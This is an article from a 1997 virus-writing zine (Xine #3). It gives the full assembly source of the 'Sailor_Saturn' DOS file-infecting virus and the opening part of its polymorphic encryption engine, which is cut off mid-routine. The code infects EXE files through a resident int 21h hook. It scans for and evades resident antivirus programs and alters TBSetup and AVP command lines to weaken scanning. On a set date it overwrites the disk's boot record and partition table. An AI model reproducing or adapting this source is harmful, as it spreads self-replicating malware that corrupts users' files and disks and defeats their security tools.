
                                        /-----------------------------\
                                        | Xine - issue #3 - Phile 211 |
                                        \-----------------------------/



;
; Virus Name    : Sailor_Saturn
; Virus Author  : b0z0/iKx
; Origin        : Padania, Mid/Late 1997
; Target        : EXE files
; Poly          : SMPE v0.3
; Compiling     : TASM 3.0 prefeered
;                       TASM /m5 /l sat.asm
;                       TLINK sat
; Goodies       :
;               - Scans MCBs for resident antiviruses
;               - Fast infection when some programs are run.
;                       The fast infection is done on Findfirst/Findnext
;                       (4Eh/4Fh) calls. The virus will of course correct
;                       the lenght of the newly infected files in the DTA,
;                       so there won't be any shitty corruption or alarm
;                       from packagers or other stuff. The programs when
;                       Sailor_Saturn becames a very-fast infector are:
;                          Packagers    : PKZIP, ARJ, LHA, RAR
;                          Others       : TBSetup (so every file added to
;                                         the ANTI-VIR.DAT will be infected
;                                         and the data in the CRC file will
;                                         be correct... thanx TBSetup :)) ),
;                                         XCOPY (usual tool for copying under
;                                         a lot of DOS flavours, quite used),
;                                         BACKUP (or any file starting with
;                                         BACK, usual DOS backupping program)
;               - Modifies TBSetup command line options:
;                       If the users tries to just update new files to
;                       prevent storing the CRC of infected ones (using
;                       the no or newonly commands) the virus will delete
;                       that command line parameters with spaces. This will
;                       be done also if the user tries to use the pause (or
;                       pa) command that pauses after every full screen.
;                       Randomly (with a 1:8 probability) the bad commands
;                       (pa, no...) are substituted with a 'ad' parameter
;                       that orders to TBSetup to scan (ie. infect :) ) all
;                       the disk drives on the system ]8)
;               - Modifies AVP and AVPLITE line options setting the /M and /H
;                 options, this is don't scan memory and disable heuristics
;               - Doesn't infect many antiviruses
;               - Doesn't infect files with digits in the filename
;               - Some other usual antibait checks
;               - Nothing special, the 'good stuff' should be in the poly
;               - Payload with graphic effect on 14th sept. The original MBR
;                 will be substituted with one displaying the Padanian flag.
;                 If user will be smart enough, the original MBR will be
;                 restored and the user let to continue his work, check it
;                 out! :) The payload is done to say happy birthday to
;                 Padania (that born officially the 14th september 1997)
; Poly notes    :
;               - Creates really a lot of different garbage (math ops, ints,
;                 calls, reg stuff, pushes, pops, mem references, cmpares...
;                 give it a look) with various operand size and type
;               - Encryption using bytes, words and dwords
;               - Encryption using ROL/ROR with stable or changing rotations
;                 number
;               - Encryption using ADD/SUB/XOR with fixed or changing
;                 encryption value (changing enc value not for byte
;                 operations). The change to the encryption value will be
;                 done with an ADD/SUB/XOR with a random value or with a
;                 stable ROR/ROL of 1
;               - Encryption can be done from the start to the end or in the
;                 reverse way
;               - Some garbage instruction can be encrypted
;               - Can use all the pointer registers as pointers and all the
;                 registers except AX for counters and for key holders
;               - Generates a lot of different variants of loops and
;                 comparations for counters and such
;               - Some anti-emulation traps
;               - Quite fast poly, not too bigger than the previous versions
;                 even if it has plenty new features
;               - Should generate very variable size decryptors (from less than
;                 hundred bytes also up to 15kb decryptors, of course in some
;                 largest cases). Also big decryptors should not get tooooo
;                 much time to execute (except under win and such stuff) but
;                 should be quite bitching for AVs.
;               - Generate a few samples to see what it does, I already
;                 forgot what I wrote ;-)
;               - Maybe this is the last version of SMPE. I think that the
;                 poly itself is quite ok, the problem is that this type of
;                 poly conception is old, so I should not work on it too
;                 much in the future.
;
; This virus is dedicated to all the ppl in Padania. Padania libera!
;
;

saturn          segment
                assume cs:saturn,ds:saturn,es:saturn

.386

                org     00h

saturn_start:
                call    get_offset
get_offset:
                pop     bp

                sub     bp,offset get_offset    ; bp has delta offset

                mov     di,offset original_cs
                add     di,bp

                mov     ax,es
                add     ax,10h
                add     word ptr cs:[di],ax     ; restore host cs:ip

                push    ax

                mov     ax,1875h
                int     21h                     ; residency check

                cmp     ax,7975h
                je      return_old_noseg

not_present:
                push    di
                push    es

                push    es
                mov     ah,52h                  ; get list of lists
                int     21h
                mov     ds,word ptr es:[bx-2]   ; first mcb
                mov     dx,ds
                pop     es

next_mcb:
                mov     si,08h
                mov     di,offset mem_strings
                add     di,bp
                lodsw                           ; ax <- ds:[08]

                mov     cx,mem_string_num
mem_loop:
                cmp     ax,word ptr cs:[di]
                je      return_old
                inc     di
                inc     di
                loop    mem_loop

                xor     si,si

                lodsb                           ; al = ds:[0]
                cmp     al,byte ptr cs:[di - (mem_string_num * 2) - 3]
                                                ; last mcb ? ('Z')
                je      last_mcb

                inc     dx
                add     dx,word ptr ds:[si+2]
                mov     ds,dx                   ; on next mcb
                jmp     next_mcb
last_mcb:
                xor     di,di

                mov     ax,saturn_mem_para + 1  ; virus paras + one for mcb
                sub     word ptr ds:[di+03h],ax
                sub     word ptr es:[di+02h],ax
                mov     byte ptr ds:[di],'M'

                add     dx,word ptr ds:[di+03h]
                inc     dx
                mov     ds,dx

                dec     ax                      ; ax = saturn_mem_para
                mov     byte ptr ds:[di],'Z'    ; last block
                mov     word ptr ds:[di+01h],8h ; owner dos
                mov     word ptr ds:[di+03h],ax
                mov     dword ptr ds:[di+08h],'SOD'

                inc     dx                      ; virus memory block
                mov     es,dx

                push    cs
                pop     ds

                mov     cx,(saturn_mem_size + 1)/2
                mov     si,bp
                rep     movsw                   ; copy the virus to mem

                push    es
                pop     ds

                mov     ax,3521h                ; save int21h
                int     21h

                push    es
                push    bx
                pop     dword ptr ds:[old_21h]

                mov     dx,offset vir_21handler ; hook int 21h in a winzooz
                mov     ax,2521h                ; compatible way
                int     21h

                mov     byte ptr ds:[filename],'\'      ; fastinf init so
                                                        ; inf routines are
                                                        ; the same as for 4bh

                mov     ah,2ah                  ; get date
                int     21h

                cmp     dx,090eh                ; the 14th of september?
                jne     return_old

                call    payload_activation

return_old:
                pop     es
                pop     di

return_old_noseg:

                pop     ax

                push    es
                pop     ds

                jmp     prefetch_jump           ; must be quite sure that
                                                ; later cs:ip pushes won't
                                                ; be prefetched

vir_name        db      'Sailor_Saturn',0
vir_auth        db      '-b0z0/iKx-',0

original_ss     dw      00000h
z_char          db      'Z'
original_sp     dw      00000h

mem_string_num  =       4                       ; number of mem strings
file_string_num =       10                      ; number of file strings
mem_strings     db      'TB','NE','VI','NA','F-','AV','FI','MS','SC','CO'
last_name       db      'NL'                    ; this word will contain the
                                                ; first two letters of the
                                                ; last infected filename.
                                                ; Since two quite equal named
                                                ; files should be a bait
back_there:

                xor     bx,bx                   ; zero regs
                sub     cx,cx
                xor     dx,dx
                sub     si,si
                xor     bp,bp

                cli                             ; set original SS:SP
                add     ax,word ptr cs:[di+ (original_ss - original_cs)]
                mov     ss,ax
                mov     sp,word ptr cs:[di+ (original_sp - original_cs)]
                sti

                xor     di,di
                sub     ax,ax

                db      68h                     ; push cs
original_cs     dw      0fff0h
                db      68h                     ; push ip
original_ip     dw      00000h
                retf                            ; go to orig cs:ip


simulate21:
                pushf
                call    dword ptr cs:old_21h
                ret

payload_activation:
                push    ds                      ; DS = ES = virus block in mem
                pop     es

                mov     bx,offset saturn_stack  ; we use code and stack from
                                                ; the virus just loaded in mem
                mov     ax,201h
                mov     dx,80h                  ; read the MBR to our mem
                mov     cx,1
                int     13h

                mov     ax,301h                 ; save MBR at 0,0,4
                mov     cx,4
                int     13h

                mov     di,bx
                mov     si,offset payload_mbr

                mov     ax,(512 - 4) / 4
                mov     cx,(payload_mbr_lenght + 3) / 4 ; lenght in dwords
                sub     ax,cx
                rep     movsd

                mov     cx,ax

                mov     eax,' NDP'              ; be sure that the partition
                rep     stosd                   ; table will be overwritten

                mov     word ptr ds:[saturn_stack + 200h - 2h],0aa55h

                mov     ax,301h                 ; write the virus mbr
                mov     cx,1
                int     13h

                ret

; Fast infection on 4Eh/4Fh (Findfirst/Findnext)
findfirst_call:
                pusha
                push    es

                cld
                lea     di,(filename+1)
                mov     si,dx
                push    cs
                pop     es
                mov     word ptr cs:[di-5],di   ; offset of filename
getpath:
                lodsb                           ; save search path
                cmp     al,00h
                je      pathexit
                stosb                           ; es:di = filename
                cmp     al,':'
                je      ok_sepa
                cmp     al,'\'
                jne     getpath
ok_sepa:
                mov     word ptr cs:[filenameoff],di
                jmp     getpath
pathexit:
                pop     es                      ; restore regs
                popa

findnext_call:
                call    simulate21

                pusha
                push    ds
                push    es
                pushf

                cld

                mov     ah,2fh                        ; get DTA
                call    simulate21

                mov     di,cs:[filenameoff]
                mov     si,bx
                add     si,1eh                        ; filename
                push    es
                pop     ds
                push    cs
                pop     es

                push    si
getfname:
                lodsb
                stosb
                cmp     al,'.'
                jne     isntadot
                mov     word ptr cs:[filedotoff],di   ; save dot position
isntadot:
                or      al,al               ; end of filename?
                jne     getfname

                pop     si

                push    ds                  
                pop     es                      ; ES:SI on filename in DTA
             
                push    cs
                pop     ds

                mov     dx,offset filename + 1
                mov     di,[filedotoff]
founded_dot:
                cmp     dword ptr ds:[di-1],'EXE.'   ; .exe
                jne     go_away
ok_inf:
                mov     word ptr ds:[inflenght],00h
                call    infect_fast
                xor     eax,eax
                mov     ax,word ptr ds:[inflenght]
                add     dword ptr es:[si-1eh+1ah],eax   ; set real (infected)
                                                        ; lenght in the DTA
go_away:
                popf
                pop     es
                pop     ds
                popa

                retf    2

; Virus Int 21h handler
vir_21handler:
                cmp     ax,1875h
                jne     no_resid
                mov     ax,7975h                ; residency check
                iret
no_resid:

                cmp     byte ptr cs:[fast_infection],00h
                je      no_fast_inf

                cmp     ah,4eh
                je      findfirst_call

                cmp     ah,4fh
                je      findnext_call

no_fast_inf:
                cmp     ax,4b00h                ; exec?
                je      exec_call

                cmp     ah,4ch                  ; program exiting?
                jne     chain_21h               ; if so reset fast_inf

                mov     byte ptr cs:[fast_infection],00h

chain_21h:
                db      0eah
old_21h         dd      0000h


exec_call:
                pushf
                push    offset exit_vir_vl

infect_fast:

                cli
                mov     word ptr cs:[int21h_sp],sp      ; set to our stack
                mov     word ptr cs:[int21h_ss],ss
                mov     sp,cs
                mov     ss,sp
                mov     sp,offset stack_end - 1
                sti

                push    ds
                push    es
                pushad

                mov     ah,19h
                call    simulate21

                cmp     al,2
                jae     ok_disk
                jmp     exit_vir

ok_disk:
                cld
                mov     si,dx
name_loop:
                lodsb
                cmp     al,'.'
                jne     name_loop
                cmp     byte ptr ds:[si+3],00h
                jne     name_loop

                dec     si
                dec     si
                std
slash_loop:
                lodsb
                cmp     al,'0'                  ; no digits in filename
                jb      no_number
                cmp     al,'9'
                jbe     exit_vir
no_number:
                cmp     al,'\'
                jne     slash_loop

                inc     si
                inc     si
                cld

                lodsd                           ; EAX = first 4 letters

                cmp     byte ptr cs:[fast_infection],01h
                je      no_fast_now             ; if already in fastinf then
                                                ; we should be in a 4eh/4fh,
                                                ; so no param change of coz :)

                cmp     eax,'ESBT'              ; TBSEtup running maybe?
                jne     no_tbsetup

                cmp     dword ptr es:[si],'.PUT'        ; be sure about it
                jne     no_tbsetup

tbsetup_cmd:
                ; ES:BX on exec parameter block
                pusha
                push    ds

                mov     ds,word ptr es:[bx+04h]
                mov     si,word ptr es:[bx+02h]

                ; DS:SI are on the command line parameters

                mov     di,2020h
                call    do_random_dx_0f                 ; get a rnd number
                                                        ; from poly generator
                or      al,al
                jnz     not_too_evil
                mov     di,'da'                         ; set 'Entire disk'
                                                        ; instead of spaces
                                                        ; as the cmdline if
                                                        ; bad command found ]:)
not_too_evil:
                push    di
                push    di
                pop     ebx

                mov     dl,0dh                          ; cr in dl

cmdline_loop:
                mov     al,byte ptr ds:[si]
                inc     si

                cmp     al,dl                           ; CR? end of cmdline
                je      end_cmdline

                cmp     al,bl                           ; space?
                je      cmdline_loop

                cmp     byte ptr ds:[si-2],bl           ; beginning of a cmd?
                jne     cmdline_loop

                mov     cl,byte ptr ds:[si+1]

                mov     ah,byte ptr ds:[si]
                or      ax,bx                           ; convert to lowercase

                cmp     ax,'ap'                         ; pause at cmdline?
                jne     no_pause

                cmp     cl,dl
                je      good_pause

                cmp     cl,bl
                jne     long_pause
good_pause:
                mov     word ptr ds:[si-1],di           ; delete bad cmd
                jmp     cmdline_loop
long_pause:
                mov     ax,word ptr ds:[si+2]
                or      ax,bx

                cmp     ax,'es'                         ; seems pause?
                jne     cmdline_loop

                cmp     byte ptr ds:[si+4],dl
                je      good_lpa

                cmp     byte ptr ds:[si+4],bl
                jne     cmdline_loop
good_lpa:
                mov     dword ptr ds:[si],ebx
                mov     word ptr ds:[si-1],di           ; delete bad cmd
no_pause:
                cmp     ax,'on'                         ; no (newonly) ?
                jne     no_news

                cmp     cl,dl                           ; a CR after 'no' ?
                je      good_param

                cmp     cl,bl                           ; a space after it?
                jne     no_news                         ; if not maybe just a
                                                        ; filemask, no param
good_param:
                mov     word ptr ds:[si-1],di           ; delete bad cmd

no_news:
                cmp     ax,'en'                         ; newonly?
                jne     cmdline_loop

                mov     ax,word ptr ds:[si+4]
                or      ax,bx

                cmp     ax,'yl'                         ; seems newonly?
                jne     cmdline_loop

                cmp     byte ptr ds:[si+6],dl           ; a CR after cmd ?
                je      good_long

                cmp     byte ptr ds:[si+6],bl           ; a space after it?
                jne     cmdline_loop

good_long:
                mov     dword ptr ds:[si],ebx           ; delete with some
                mov     byte ptr ds:[si-1],bl           ; spaces
                mov     word ptr ds:[si+4],di           ; delete bad cmd

                jmp     cmdline_loop
end_cmdline:
                pop     ds
                popa

                jmp     set_fast
no_tbsetup:
                cmp     eax,'IZKP'              ; PKZIp running maybe?
                je      set_fast

                cmp     eax,'.AHL'              ; LHA running?
                je      set_fast

                cmp     eax,'.RAR'              ; RAR running?
                je      set_fast

                cmp     eax,'.JRA'              ; ARJ running?
                je      set_fast

                cmp     eax,'POCX'              ; XCOPy running?
                je      set_fast

                cmp     eax,'KCAB'              ; Backupper running?
                je      set_fast

                cmp     eax,'.PVA'              ; AVP running?
                je      nomem_toavp

                cmp     eax,'LPVA'              ; should be AVPLite?
                jne     no_fast_now

                cmp     dword ptr es:[si],'.ETI'; really AVPLITE ?
                jne     no_fast_now

nomem_toavp:
                pusha
                push    ds

                mov     ds,word ptr es:[bx+04h] ; to params
                mov     si,word ptr es:[bx+02h]

                add     byte ptr ds:[si],05h    ; adjust lenght of params

search_end:
                lodsb
                cmp     al,0dh                  ; end of params?
                jne     search_end

                mov     dword ptr es:[si-1],'/M/ '   ; add ' /M/H' + CR
                mov     word ptr es:[si+3],0d48h     ; at the end of the
                                                     ; avp command line
                pop     ds
                popa

                jmp     no_fast_now
set_fast:
                mov     byte ptr cs:[fast_infection],01h
no_fast_now:
                mov     cx,file_string_num + 1          ; the AVs or such plus
                                                        ; one last infected
                                                        ; file (antibait)
                cmp     byte ptr cs:[fast_infection],01h
                jne     normal_ab
                dec     cx                              ; on fastinf just
                                                        ; infect fast! :)
normal_ab:
                mov     si,offset mem_strings - 2
avf_loop:
                inc     si
                inc     si

                cmp     ax,word ptr cs:[si]     ; an AV ?
                je      exit_vir
                loop    avf_loop

                mov     word ptr cs:[tmp_name],ax

                mov     es,cx

                push    cs
                push    offset vir_24handler
                pop     eax

                cli
                xchg    eax,dword ptr es:[090h]         ; set our int24h
                mov     dword ptr cs:[old_24h],eax
                sti

                mov     ax,4300h
                call    simulate21              ; get attribs

                push    ds
                push    dx                      ; save attribs
                push    cx

                xor     cx,cx
                call    chmod_file              ; reset attribs

                jnc     chmod_ok

                add     sp,6
                jmp     exit_vir_24

chmod_ok:
                mov     ax,3d02h                ; open for rw
                call    simulate21
                jc      exit_vir_att

                mov     bx,ax

                mov     ax,5700h                ; get file time
                call    simulate21
                push    dx
                push    cx

                push    cs
                pop     ds

                mov     ah,3fh                  ; read
                mov     cx,1ch
                lea     dx,head_buffer
                call    simulate21

                mov     si,dx

                mov     ax,'ZM'

                sub     ax,word ptr ds:[si]     ; MZ check
                jnz     not_an_exe

                mov     ax,word ptr ds:[si+12h]         ; infection mark
                xor     ax,word ptr ds:[si+02h]
                sub     ax,'SS'                         ; already infected?
                jz      not_an_exe
                cmp     byte ptr ds:[si+18h],'@'        ; no winexes
                je      not_an_exe
                cmp     word ptr ds:[si+1ah],00h        ; no overlays
                jne     not_an_exe

                call    infect_exe

not_an_exe:
                pop     cx
                pop     dx
                mov     ax,5701h                ; set old time
                call    simulate21

                mov     ah,3eh                  ; close
                call    simulate21

exit_vir_att:
                pop     cx
                pop     dx
                pop     ds
                call    chmod_file              ; set old attributes

exit_vir_24:

                xor     ax,ax                   ; set the old int24h
                mov     ds,ax
                push    dword ptr cs:[old_24h]

                cli
                pop    dword ptr ds:[090h]
                sti

exit_vir:
                popad
                pop     es
                pop     ds

                cli
                mov     ss,word ptr cs:[int21h_ss]
                mov     sp,word ptr cs:[int21h_sp]
                sti

                ret                             ; return to fast inf routine
                                                ; or continue to exit_vir_vl
                                                ; depending on how infection
                                                ; was called
exit_vir_vl:
                popf
                jmp     chain_21h


chmod_file:
                mov     ax,4301h
                call    simulate21
                ret

infect_exe:
                push    dword ptr ds:[si+14h]           ; store CS:IP
                pop     word ptr ds:[original_ip]
                pop     word ptr ds:[original_cs]       ; store orig CS

                push    dword ptr ds:[si+0eh]           ; store SS:SP
                pop     word ptr ds:[original_ss]
                pop     word ptr ds:[original_sp]

                mov     cx,word ptr [si+04h]    ; calculate real lenght
                mov     ax,512
                mul     cx
                add     ax,word ptr [si+02h]
                adc     dx,00h

                mov     di,dx
                push    ax

                mov     al,02h
                call    lseekfile

                pop     cx

                cmp     dx,di
                jbe     ok_lenght
exit_lenght:
                ret
ok_lenght:
                cmp     ax,cx
                ja      exit_lenght

                push    ax
                and     ax,01ffh                ; can be divided by 1024
                pop     ax
                jz      exit_lenght

                push    ax                      ;store length
		push	dx

		mov	cx,10h
		div	cx

		sub	ax,word ptr [si+08h]
                mov     word ptr [si+14h],dx
		mov	word ptr [si+16h],ax

                mov     bp,dx

                push    dx
                push    ds
                push    ax
                push    si

                push    0fh
                in      al,40h          ; max garbage will be 0Fh or 1Fh ?
                ror     al,1
                pop     ax
                jnc     no_plus10
                add     ax,10h
no_plus10:
                cmp     byte ptr ds:[fast_infection],01h
                jne     good_garbage

                push    03h             ; if fastinfection then limit the
                in      al,40h          ; max garbage in every section to
                ror     al,1            ; 3 or to 7 (randomly selected) so
                pop     ax              ; it will be faster
                jnc     good_garbage
                add     ax,04h

good_garbage:
                mov     cx,saturn_size
                xor     dx,dx

                call    smpe            ; Call poly engine

                push    es
                pop     ds
                pop     si

                jnc     ok_poly
                add     sp,0ah          ; if error correct stack and exit
                ret
ok_poly:

                mov     ah,40h                  ;write virus at end
                push    cx
                push    cx
                pop     word ptr cs:[inflenght]
                call    simulate21

                sub     al,al                   ;move at start
                call    lseekfile

                pop     cx
                pop     ax
                pop     ds
                pop     dx

                add     word ptr [si+14h],di

                cmp     byte ptr [seg_sta],02h
                je      cs_must_equ_ss

                inc     ax                      ; SS = CS + 1 except when
                                                ; BP used, so SS=CS
cs_must_equ_ss:
                mov     word ptr [si+0eh],ax    ; new stack segment

                add     dx,cx                   ; just after body
                add     dx,500h                 ; some more is needed
                and     dl,0feh
                mov     word ptr ds:[si+10h],dx ; new stack pointer

                pop     dx
                pop     ax

                add     ax,cx
                mov     cx,200h                 ; one page
                adc     dx,00h
                div     cx

                mov     word ptr [si+02h],dx    ; new length

                inc     ax
                mov     word ptr [si+04h],ax    ; new length

                xor     dx,'SS'
                mov     word ptr [si+12h],dx    ; set infection marker

                mov     ah,40h
                mov     cx,1ch                  ; write new header
		mov	dx,si
                call    simulate21

                push    word ptr ds:[tmp_name]  ; good infection, so put name
                pop     word ptr ds:[last_name] ; not to infect next time

exitexeinfect:
		ret

vir_24handler:
                mov     al,00h
                iret

lseekfile:
                mov     ah,42h                 ; move to start or end
		cwd
		sub	cx,cx
                call    simulate21
                ret


; Here starts the MBR that will be set on payload activation
payload_mbr:
                cli
                xor     ax,ax
                mov     ss,ax
                mov     sp,7c00h                ; set SS:SP as usual
                sti

		push	cs
		pop	ds

                mov     al,02h                  ; set to 80x25
                int     10h

                mov     ah,01h
                xor     cx,cx                   ; set cursor invisible
                int     10h

                mov     ax,1000h                ; set palette register
                push    ax
                mov     bx,2a0ah                ; reg 0a to 2a, our green
                int     10h

                pop     ax
                mov     bx,3f07h                ; reg 07 to our white
                int     10h

		mov	ax,0b800h
		mov	es,ax

                mov     si,(offset disegno - offset payload_mbr + 7c00h)
                                                ; DS:SI on our data
                xor     di,di                   ; ES:DI video memory

;
; since the "Sole delle Alpi" has two coordinates of simmetry we just have
; a quarter of it as data and we will calculate the other three points that
; are equal
;
                mov     cx,13d                  ; lines to draw (in reality
                                                ; 13 * 2 - 1, since the sun
                                                ; is simmetric and the central
                                                ; line will be drawn twice)
next_line:
		push	cx
                mov     cl,10d                  ; every halfline (since the sun
                                                ; is simmetric in both X and Y)
                                                ; is made of 10 bytes
next_entry:
                lodsb

		push	cx
                mov     cl,04h                  ; every byte contains 4 chars
		mov	bl,al
this_word:
                mov     ax,07a20h               ; colours and space char

                shl     bl,1                    ; decode the char to be made
                jnc     is_a_zero               ; 11 = space
                shl     bl,1                    ; 00 = full rectangle
                jc      draw_it                 ; 01 = high half of rect.
                add     al,0bch                 ; 10 = low half of rect.
		jmp	draw_it
is_a_zero:
		add	al,0bbh
		shl	bl,1
		jnc	draw_it
		add	al,4
draw_it:
		mov	bh,23
                mov     dx,di                   ; here we calculate at which
dododo:                                         ; line we currently are (out
                cmp     dx,80d                  ; in BH) and in which column
                jb      okeee                   ; (out in DX)
                sub     dx,80d
		dec	bh
		jmp	dododo
okeee:
                add     dx,dx                   ; * 2, since the is also a
                                                ; colour byte
                push    ax

		push	di
		sub	di,dx
                add     di,09fh-1               ; calculate the coord. of the
                stosw                           ; point on the right half of
                pop     di                      ; the display

		push	di
lin_loo:
                add     di,160d
		or	bh,bh
                jz      fin1                    ; calculate the coord. of the
                dec     bh                      ; point on the bottom half of
                jmp     lin_loo                 ; the display
fin1:
		cmp	al,0dch
                jne     not_bass                ; we must convert low half
                mov     al,0dfh                 ; rect. to high and high to low
		jmp	stototo
not_bass:
		cmp	al,0dfh
		jne	stototo
		mov	al,0dch
stototo:
		stosw
		sub	di,dx
                add     di,09fh-3               ; finally the bottom right part
                stosw
		pop	di

		pop	ax

                stosw                           ; store the upper left part

		loop	this_word

                pop     cx
                loop    next_entry

		pop	cx
                add     di,40*2                 ; next line
                loop    next_line

; end of drawing

; SI is already on the string we have to check
                push    si
kbd_check:
                mov     ah,10h                  ; get keystroke (wait if none)
                int     16h

                cmp     al,byte ptr ds:[si]     ; control if user is typing our
                jne     goto_start              ; magic string

                inc     si

                cmp     byte ptr ds:[si],00h    ; end of string
                je      good_phrase

                jmp     kbd_check
goto_start:
                pop     si
                push    si
                jmp     kbd_check

good_phrase:
; If user says types in "Free Padania" then we will restore the original MBR
; and boot from there

                pop     si                      ; correct stack

                push    cs
                pop     es

                mov     ax,201h
                mov     bx,7e00h                ; mem after ourselves
                mov     dx,80h
                mov     cx,4h                   ; read original MBR
                int     13h                     ; from 0,0,4

                mov     ax,301h
                mov     cx,1
                int     13h                     ; reput original MBR on disk

                xor     ax,ax
                dec     ax
                push    ax
                inc     ax
                push    ax
                retf
                                                ; jump there will reboot and let
                                                ; the user continue on it's way
                                                ; after the reboot with the
                                                ; clear idea that Padania
                                                ; should be free!
disegno:
   db     11111111b,11111111b,11111111b,11111111b,11111111b
   db     11111111b,11111111b,11111111b,11111111b,11111111b
   db     11111111b,11111111b,11111111b,11111111b,11111111b
   db     11111111b,11111111b,11111111b,11101010b,10101010b
   db     11111111b,11111111b,11111111b,11111111b,11111111b
   db     11111111b,11111111b,10100001b,01010111b,11111110b
   db     11111111b,11111111b,11111111b,11111111b,11111111b
   db     11111111b,11100001b,01111111b,11111111b,11111000b
   db     11111111b,11111111b,11111111b,11111111b,11111111b
   db     11111110b,00011111b,11111111b,11111111b,11110000b
   db     11111111b,11111111b,11111111b,11111111b,11111111b
   db     11100001b,11111111b,11111111b,11111111b,11000000b
   db     11111111b,11111111b,11111111b,11111111b,11111110b
   db     00011111b,11111111b,11111111b,11111111b,11000000b
   db     11111111b,11111111b,11111111b,11111111b,11111000b
   db     01000000b,00001010b,10101111b,11111111b,11000000b
   db     11111111b,11111111b,11111111b,11111111b,11100011b
   db     11110100b,00000000b,00000000b,10101111b,11000000b
   db     11111111b,11111111b,11111111b,11111111b,11000111b
   db     11111111b,01010000b,00000000b,00000010b,10110000b
   db     11111111b,11111111b,11111111b,11111111b,11001111b
   db     11111111b,11111101b,01000000b,00000000b,00000000b
   db     11111111b,11111111b,11111111b,11111111b,00001111b
   db     11111111b,11111111b,11111101b,01010000b,00000000b
   db     11111111b,11111111b,11111111b,11111111b,00001111b
   db     11111111b,11111111b,11111111b,11111111b,00000000b

string  db      'Free Padania',0

payload_mbr_end:

payload_mbr_lenght=offset payload_mbr_end - offset payload_mbr

prefetch_jump:
                                                ; check if possible
                push    'iH'                    ; enemy around
                pop     bx
                dec     sp
                dec     sp
                pop     cx
                cmp     cx,bx
                je      ok_stack

                mov     ax,02h
                sub     di,(offset original_ss - original_cs)
                                                ; if tracer cathed
                                                ; on restoration SS:SP will
                                                ; be equal to (CS+02h):IP
                                                ; i hope he won't use the
                                                ; stack ;)
ok_stack:
                jmp     back_there

include         spoly.asm                       ; SMPE 0.3

saturn_end:
; End of Sailor_Saturn on disk

head_buffer     db      1ch     dup (?)   ; buffer for infection

inflenght       dw      00h               ; lenght of infection for DTA
tmp_name        dw      00h               ; tmp space for first 2 fname chars
filenameoff     dw      ?                 ; stuff for 4eh/4fh infection
filedotoff      dw      ?
filename        db      4ch     dup (?)

fast_infection  db      00h                     ; 00h = Off, 01h = On
old_24h         dd      0000h                   ; int 24h seg:off

int21h_ss       dw      00h
int21h_sp       dw      00h

saturn_stack    db      800h    dup (?)
stack_end:

saturn_mem_end:
; End of Sailor_Saturn in memory

saturn_size     =       (saturn_end - saturn_start - poly_mem_used + 1)
saturn_mem_size =       (saturn_mem_end - saturn_start)
saturn_mem_para =       (saturn_mem_size + 0fh) / 10h

saturn  ends
end     saturn_start

ÄÄÄ[SPOLY.ASM]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;
; Sailor Moon Poly Engine v0.3
; in:
;    CX = bytes to encrypt
;    DS:DX = what we are going to encrypt (body of ourselves)
;    BP = offset at which it will run
;    AX = max number of garbage instructions to generate
; it is assumed that DS=CS !!!
;
; out:
;    CX    = lenght of the generated code
;    DI    = offset at which enter to the poly (considering that the real
;            start is at SEG:0 but we want to make some garbage before the
;            real entrypoint)
;    ES:DX = generated code
;    BX    = preserved
;
;

poly_mem_used=(poly_data_mem_end-poly_data_mem)
poly_paras=0a00h                   ; temp memory for poly is 40kbs, a lot
                                   ; more than enough, but to be sure

smpe:
        cld
        mov     word ptr ds:[gnum],ax
        push    bx

;; Try to allocate the needed memory for the poly stuff

        mov     ah,48h                          ; allocate mem for our poly
        mov     bx,poly_paras
        call    simulate21
        jnc     ok_memory

        pop     bx
        stc                                     ; no mem avaiable :(
        ret
ok_memory:
        mov     es,ax                           ; allocated segment

        push    cx
        push    ds                              ; save important regs
        push    dx

;; Initialization start

        call    add_to_cx

        xor     ebx,ebx
        mov     ax,9090h

        mov     si,offset isword

; SI used for many mem references... ONLY in the main decryptor creation
; loop
;       points:
; -8    enc_lenght
; -6    last_done
; -5    reg8bits
; -4    pointer_di
; -2    secphs
; SI    isword
; +1    isrolror
; +2    push_nr
; +3    can_doda
; +4    count_reg
; +5    point_reg
; +6    nocx
; +7    seg_sta
; +8    emu_trick
; +9    inverse
; +A    cmp_check
; +B    cmp_check2
; +C    ds_mody
; +D    counter_pos
; +F    jz_nr
; +11   no_imm

        mov     byte ptr ds:[si+11h],bl
        mov     word ptr ds:[si+0fh],bx

        mov     dword ptr ds:[random_ax],ebx

        mov     word ptr ds:[si-8],cx           ; save lenght
        mov     word ptr ds:[enc_loop],3480h    ; engine initialization

        mov     dword ptr ds:[si],ebx           ; clear type selection
        mov     dword ptr ds:[si+8],ebx

        dec     ebx
        mov     dword ptr ds:[si+4],ebx         ; clear used registers

        mov     byte ptr ds:[prefix_386],al

        push    ax
        push    ax
        pop     eax
        mov     dword ptr ds:[random_value],eax ; clear rnd values
        mov     dword ptr ds:[modify_key],eax

        mov     al,46h
        mov     dword ptr ds:[first_inc],eax    ; clear increments

        sub     di,di                           ; so ES:DI = ES:0

;; Initialization end


;; Decryption building start

        call    do_garbage                      ; decryptor gen. start
        push    di
        call    do_garbage
rndget:
        call    do_random_dx_0f

        cmp     al,4            ; no sp
        je      rndget

        or      al,al          ; no ax
        jz      rndget

        mov     byte ptr ds:[si+4],al

        add     al,0b8h                         ; mov _reg16_,immediate
        stosb

        in      al,40h
        ror     al,1
        jnc     on_one_side
        mov     byte ptr ds:[si+9],01h

on_one_side:

        call    do_random_dx_0f                 ; 0-2 ROR, 3-7 MATH

        cmp     al,2
        ja      nororing                        ; select if ror/rol of math

        cmp     byte ptr es:[di-1],0b9h
        je      nororing                        ; if using CX no rol/ror!
        mov     byte ptr ds:[si+1],01h          ; we'll ror/rol

        cmp     al,0
        jne     dim_select
        inc     byte ptr ds:[si+1]              ; rol/ror with diff CL
        jmp     dim_select

nororing:
        cmp     al,4
        ja      dim_select

        mov     byte ptr ds:[si+11h],01h

dim_select:
        call    do_random_dx_0f                 ; 0 - 2   byte operation
                                                ; 3 - 5   word operation
                                                ; 6 - 7  dword operation
        cmp     al,2
        jbe     notaword

        inc     byte ptr ds:[si]                ; word operation

        cmp     al,5
        jbe     notaword

        inc     byte ptr ds:[si]                ; dword operation

notaword:
        cmp     byte ptr ds:[si+11h],01h        ; no 8bit stuff with reg
        jne     no_chck                         ; modifications
        cmp     al,2
        ja      no_chck
        inc     byte ptr ds:[si]
no_chck:
